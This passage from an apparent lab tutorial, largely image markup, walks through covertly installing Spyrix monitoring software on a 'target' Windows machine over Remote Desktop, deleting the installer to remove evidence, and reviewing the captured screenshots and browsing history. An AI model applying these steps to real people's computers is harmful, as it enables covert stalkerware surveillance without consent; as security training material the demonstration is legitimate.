srcset="https://substackcdn.com/image/fetch/$s_!8M6s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 424w, https://substackcdn.com/image/fetch/$s_!8M6s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 848w, https://substackcdn.com/image/fetch/$s_!8M6s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 1272w, https://substackcdn.com/image/fetch/$s_!8M6s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8M6s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2211142,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8M6s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 424w, https://substackcdn.com/image/fetch/$s_!8M6s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 848w, https://substackcdn.com/image/fetch/$s_!8M6s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 1272w, https://substackcdn.com/image/fetch/$s_!8M6s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><ol start="21"><li><p>Restore the minimized Remote Desktop Connection window to view the target system&#8217;s Desktop. Right-click on an empty area of the Desktop and select Paste. The Spyrix installer copies from your local machine to the target system through the Remote Desktop session. RDP allows clipboard sharing between the local and remote systems, which facilitates file transfer during attacks.</p></li><li><p>On the target system&#8217;s Desktop, double-click the installer file to launch it. If Windows displays a User Account Control prompt asking whether you want to allow this application to make changes, click Yes. This step requires the remote session to have administrative privileges.</p></li><li><p>A language selection dialog appears. Keep the default selection and click OK.</p></li><li><p>The installation wizard&#8217;s Welcome screen appears. Enter the email address you registered earlier. This links the target system&#8217;s Spyrix installation to your monitoring account, ensuring all captured data transmits to your dashboard. Click Next to continue.</p></li><li><p>Complete the remaining installation steps using default options. On the final screen, select the radio button labeled &#8220;No, I will restart the computer later&#8221; and click Finish.</p></li><li><p>Delete the installer file from the Desktop to remove evidence of the installation.</p></li><li><p>Manually restart the target machine by right-clicking the Start button, selecting Shut down or sign out, then clicking Restart. Restarting ensures Spyrix initializes properly and begins running in hidden mode.</p></li></ol><div><hr></div><h3><strong>Part 4: Verifying the Connection</strong></h3><p>After the target system restarts, Spyrix begins operating in hidden mode and establishes communication with your monitoring account. This section verifies that the connection is working.</p><ol start="28"><li><p>Return to Windows Server 2022 and maximize the browser window containing the Spyrix web portal. A notification should appear indicating that a new computer has connected to your account. Close this notification popup.</p></li></ol><p>If the notification does not appear automatically, refresh the page by pressing F5 or clicking the browser&#8217;s reload button. </p><p>If the connected computer still does not appear, click your email address in the top-right corner of the page and select Computers from the dropdown menu. This displays a list of all systems linked to your monitoring account.</p><blockquote><p>Troubleshooting: If the target computer does not appear in your Computers list after refreshing, the Spyrix service may not have started properly after the restart. <br><br>Establish a new Remote Desktop session the target, following Steps 8 through 12, which forces the system to fully initialize. Close the Remote Desktop window after connecting, then return to the browser and refresh the Spyrix dashboard.</p></blockquote><div><hr></div><h3><strong>Part 5: Generating Target User Activity</strong></h3><p>To demonstrate Spyrix&#8217;s monitoring capabilities, you need to generate activity on the target system that the software can capture. This section simulates a legitimate user performing normal tasks.</p><ol start="29"><li><p>Switch to the target machine directly rather than through Remote Desktop. Press Ctrl+Alt+Delete to reach the login screen. Select Jason from the user list on the left side and enter the password qwerty.</p></li><li><p>After logging in, open a web browser such as Google Chrome. Browse to any website of your choice. For this demonstration, we navigate to Gmail. The goal is to generate typical user activity including web browsing, typing, and interacting with applications.</p></li><li><p>Spend a few minutes performing various activities on the target system. Visit multiple websites, type text into search fields or forms, and open different applications. Each of these actions generates data that Spyrix captures and transmits to your monitoring account. After generating sufficient activity, leave the machine as is and proceed to the next section.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NVOs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NVOs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 424w, https://substackcdn.com/image/fetch/$s_!NVOs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 848w, https://substackcdn.com/image/fetch/$s_!NVOs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 1272w, https://substackcdn.com/image/fetch/$s_!NVOs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NVOs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png" width="1456" height="909" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:909,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:670452,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NVOs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 424w, https://substackcdn.com/image/fetch/$s_!NVOs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 848w, https://substackcdn.com/image/fetch/$s_!NVOs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 1272w, https://substackcdn.com/image/fetch/$s_!NVOs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2f95c268-4117-42fd-9dd4-d820fa26cc67_3194x1994.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 6: Monitoring User Activity from Spyrix</strong></h3><p>With activity generated on the target system, you can now examine the captured data through the Spyrix web dashboard. This section explores the various monitoring features.</p><ol start="32"><li><p>Switch back to your attacker machine and maximize the browser containing the Spyrix Personal Monitor web portal. Click the reload button to refresh the dashboard and load the latest captured data from the target system.</p></li><li><p>Click Activity Overview in the navigation menu. This section provides a summary dashboard showing all events captured from the target machine. The overview displays statistics and recent activity across all monitoring categories.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!URMn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!URMn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 424w, https://substackcdn.com/image/fetch/$s_!URMn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 848w, https://substackcdn.com/image/fetch/$s_!URMn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 1272w, https://substackcdn.com/image/fetch/$s_!URMn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!URMn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png" width="1456" height="1033" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1033,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:514659,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!URMn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 424w, https://substackcdn.com/image/fetch/$s_!URMn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 848w, https://substackcdn.com/image/fetch/$s_!URMn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 1272w, https://substackcdn.com/image/fetch/$s_!URMn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5aa287dd-2816-4acc-82de-765bcae99169_2560x1816.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><ol start="34"><li><p>In the left navigation pane, click Users Activity. This section displays detailed logs of user interactions including login times, session duration, and activity patterns.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mora!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mora!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 424w, https://substackcdn.com/image/fetch/$s_!Mora!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 848w, https://substackcdn.com/image/fetch/$s_!Mora!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 1272w, https://substackcdn.com/image/fetch/$s_!Mora!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mora!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png" width="1456" height="1035" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1035,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:472659,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mora!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 424w, https://substackcdn.com/image/fetch/$s_!Mora!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 848w, https://substackcdn.com/image/fetch/$s_!Mora!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 1272w, https://substackcdn.com/image/fetch/$s_!Mora!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7fd1381d-9684-4b6f-a14b-a1897c7c8bba_2560x1820.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><ol start="35"><li><p>Click Screenshots to view the images automatically captured from the target system&#8217;s display. Spyrix periodically takes screenshots based on configured intervals or triggered events. Each screenshot includes a timestamp and shows exactly what appeared on the user&#8217;s screen at that moment.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jiNW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jiNW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 424w, https://substackcdn.com/image/fetch/$s_!jiNW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 848w, https://substackcdn.com/image/fetch/$s_!jiNW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 1272w, https://substackcdn.com/image/fetch/$s_!jiNW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jiNW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png" width="1456" height="1034" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1034,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:988953,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jiNW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 424w, https://substackcdn.com/image/fetch/$s_!jiNW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 848w, https://substackcdn.com/image/fetch/$s_!jiNW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 1272w, https://substackcdn.com/image/fetch/$s_!jiNW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9289146-d8be-4927-8e67-dac57c2bb3ed_2560x1818.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><ol start="36"><li><p>Click Web Pages Visited to see a comprehensive log of the target user&#8217;s browsing history. This section lists every URL accessed, the page title, the browser used, and timestamps for each visit.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!e0Sr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!e0Sr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 424w, https://substackcdn.com/image/fetch/$s_!e0Sr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 848w, https://substackcdn.com/image/fetch/$s_!e0Sr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbe11aec8-a55b-4e08-9f52-af08a320ff89_2560x1814.png 1272w, 